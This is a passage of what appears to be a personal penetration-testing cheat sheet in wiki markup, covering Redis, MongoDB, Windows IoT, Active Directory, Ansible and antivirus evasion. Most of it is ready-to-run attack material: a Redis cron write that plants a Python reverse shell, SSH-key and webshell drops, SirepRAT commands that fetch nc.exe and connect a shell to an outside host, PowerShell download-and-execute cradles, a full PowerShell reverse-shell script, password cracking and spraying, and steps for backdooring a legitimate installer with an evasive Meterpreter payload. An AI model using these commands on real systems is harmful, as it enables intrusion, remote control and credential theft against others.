&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5800, 5801, 5900, 5901 - VNC ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 5985, 5986 - WinRM ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 6370 - Redis ==&lt;br /&gt;
&lt;br /&gt;
=== Commands &amp;amp; info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Service file&lt;br /&gt;
/etc/systemd/system/redis.service&lt;br /&gt;
# Config file&lt;br /&gt;
installdir/redis/etc/redis. conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crontab ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@Urahara:~# echo -e &amp;quot;\n\n*/1 * * * * /usr/bin/python -c &#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;10.85.0.53\&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);&#039;\n\n&amp;quot;|redis-cli -h 10.85.0.52 -x set 1&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root&lt;br /&gt;
OK&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52 save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping database ===&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See PG Sybaris writeup&lt;br /&gt;
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module&lt;br /&gt;
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.&lt;br /&gt;
# Then you need some way to upload the compiled module&lt;br /&gt;
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so&lt;br /&gt;
# List loaded modules to check it was correctly loaded: MODULE LIST&lt;br /&gt;
# Execute commands:&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;id&amp;quot;&lt;br /&gt;
&amp;quot;uid=0(root) gid=0(root) groups=0(root)\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.exec &amp;quot;whoami&amp;quot;&lt;br /&gt;
&amp;quot;root\n&amp;quot;&lt;br /&gt;
127.0.0.1:6379&amp;gt; system.rev 127.0.0.1 9999&lt;br /&gt;
Unload the module whenever you want: MODULE UNLOAD mymodule&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Redis-rogue server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# A exploit for Redis(&amp;lt;=5.0.5) RCE&lt;br /&gt;
# https://github.com/n0b0dyCN/redis-rogue-server&lt;br /&gt;
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf&lt;br /&gt;
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa&lt;br /&gt;
# 2 Write the public key to a file : (echo -e &amp;quot;\n\n&amp;quot;; cat ~/id_rsa.pub; echo -e &amp;quot;\n\n&amp;quot;) &amp;gt; spaced_key.txt&lt;br /&gt;
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key&lt;br /&gt;
# 4 Save the public key to the authorized_keys file on redis server:&lt;br /&gt;
# 4&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /var/lib/redis/.ssh&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename &amp;quot;authorized_keys&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
